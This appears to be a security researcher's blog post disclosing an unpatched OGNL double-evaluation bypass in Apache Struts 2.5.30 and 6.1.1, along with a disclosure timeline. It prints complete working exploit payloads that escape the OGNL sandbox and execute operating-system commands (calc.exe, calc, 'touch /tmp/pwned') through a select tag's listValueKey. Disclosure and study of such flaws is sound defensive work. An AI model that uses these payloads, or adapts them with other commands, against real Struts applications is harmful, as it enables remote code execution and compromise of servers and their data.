RCE on Apache Struts 2.5.30 and 6.x

RCE in Apache Struts 2.5.30 and 6.x

Abstract

In early May 2021 I reported a second RCE on Apache Struts 2.5.0-2.5.29 here and disclosed the details a month after the fix was made public. Again, like many of you security researchers, I had to look more into it. So I kept digging and found a bypass to one of the RCE's that got fixed, which I'll briefly be describing here. There is no CVE identifier for this.  

To be clear, this is a rare situation that most programs wont run into and applies specifically to a 'select' type object. It is considered by Apache Struts to be a developer error in which the developer is forcing an evaluation ('%{}') with untrusted user input and thus not a vulnerability. Please see Apache Struts's Security page for more details on this. 

Vulnerability Analysis

A reminder, OGNL evaluations are exploitable when OGNL code is evaluated twice. If you need an example of that please read through the previous two RCEs I wrote about. The bypass involves the ftl file issue. 

"Passing text = a') + #application + getText('b will result in: stack.findValue("getText('a') + #application + getText('b')") which allows you to evaluate variables outside of the 'getText()' limited function.  From there you can once again create your sandbox escape and reach RCE. "

An example of vulnerable struts element this would apply to is the following where the listValueKey of a select object would be affected:

 <s:select label="Pets"
        name="petIds"
        list="#{'01':'Jan', '02':'Feb'}"
        listValueKey="%{userValue}"
        listValue="name"
        multiple="true"
        size="3"
        required="true"
        value="abc"
 />

The fix was listed at line 128 StrutsUtil.java https://github.com/apache/struts/commit/8d6e26e0feb8cb1669f45a66e458860534b94571#diff-c466b6e7ea033819cf9dd7d3bd0245717ed0593188c6e739e9d206e5caf51244L128

The idea being replace all single quotes with double quotes, so you can't escape the 'getText' function. Looking more into this I realized some things are still being evaluated, but I couldn't escape getText and couldn't call #application.
Typically for the recent POCs you'd start off by calling the #application object. From here, you could call functions until you achieved RCE. However, while only a handful, there are other top level variables you can call. Including #__component_stack. This variable gives you access to a list of objects pushed on to the "stack" pertaining to the UI element you are working on.
For a <s:select> this means only the following two objects:[org.apache.struts2.components.Select@20b3a98e, 
org.apache.struts2.components.IteratorComponent@133c7058]

At first glance I assumed there wasn't anything to work with. However, I noticed the second element is an IteratorComponent Object which inherits the ContextBean class which has an interesting public function: 

https://github.com/apache/struts/blob/77c175c7beb6e97c6d7e1dcbe9757f14a9ff385f/core/src/main/java/org/apache/struts2/components/ContextBean.java#L42
ContextBean has a setVar function which calls findString. The findString function as mentioned in my previous RCE does an OGNL evaluation on the string passed to it. Thus providing a path to the second OGNL evaluation. 

POC

POC pseudo code  %{#__component_stack[1].setVar("OriginalPOC")}
After taking the original POC and replacing single quotes with allowed characters I was able to create the full POC:

Full payload for POC:

%{#__component_stack[1].setVar("%{(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get(\\"struts.valueStack\\")) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get(\\"map\\").get(\\"context\\")) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get(\\"map2\\").get(\\"memberAccess\\")) == true).toString().substring(0,0) +
(#request.get(\\"map3\\").put(\\"excludedPackageNames\\",#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#request.get(\\"map3\\").put(\\"excludedClasses\\",#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#application.get(\\"org.apache.tomcat.InstanceManager\\").newInstance(\\"freemarker.template.utility.Execute\\").exec({\\"calc.exe\\"}))}")}

Here's the POC in action:


6.x Testing

May 17th the Apache Struts team enabled the default max character count an expression can have to 256 characters. This helps block this specific POC. 
https://github.com/apache/struts/commit/3f2518afa802d7ef57597b75c70ffb61de1d011a 

6.x Update - Jan 30th

Jan 27th 2023 Alvaro Munoz released blog showcasing a gadget that bypasses 6.x max character (256) restriction https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/ 

Ex:
(#c=#@org.apache.commons.beanutils.BeanMap@{})+ (#c.setBean(@Runtime@class))+ (#rt=#c['methods'][6].invoke())+ (#c['methods'][12]).invoke(#rt,'touch /tmp/pwned')


Using Alvaro Munoz's gadget + the existing vulnerability that wasn't fixed = RCE on the latest 6.1.1!!! Again this is rare at this point, but shows code execution is still possible. 

Full Payload for 6.1.1 POC:

%{#__component_stack[1].setVar("%{(#c=#@org.apache.commons.beanutils.BeanMap@{})+

(#c.setBean(@java.lang.Runtime@class))+

(#rt=#c[\\"methods\\"][6].invoke())+

(#c[\\"methods\\"][12]).invoke(#rt,\\"calc\\")}")}

Timeline

  • April 12th 2022 - Submitted a bypass for a double OGNL evaluation vulnerability leading to RCE and provided possible remediation fixes. 
  • April 12th  2022 - Got a reply that they wont accept 'issues caused by developer error anymore as vulnerabilities'. But that they will try to minimize on developer error by adding protections in Struts2 ver 6 since they wont be releasing 2.5.x changes except for 'security reasons'. 
  • May 25th 2022 - Publicly posted 2nd RCE 
  • Oct 28th 2022 - Verified still worked in latest 2.x 
  • Jan 27th 2023 - Alvaro Munoz released blog showcasing a gadget that bypasses 6.x max character (256) restriction https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/ 


Comments

Popular posts from this blog

Exploiting Struts RCE on 2.5.26

Vulnerabilities In Apache Commons-Text 1.10.0

2nd RCE and XSS in Apache Struts before 2.5.30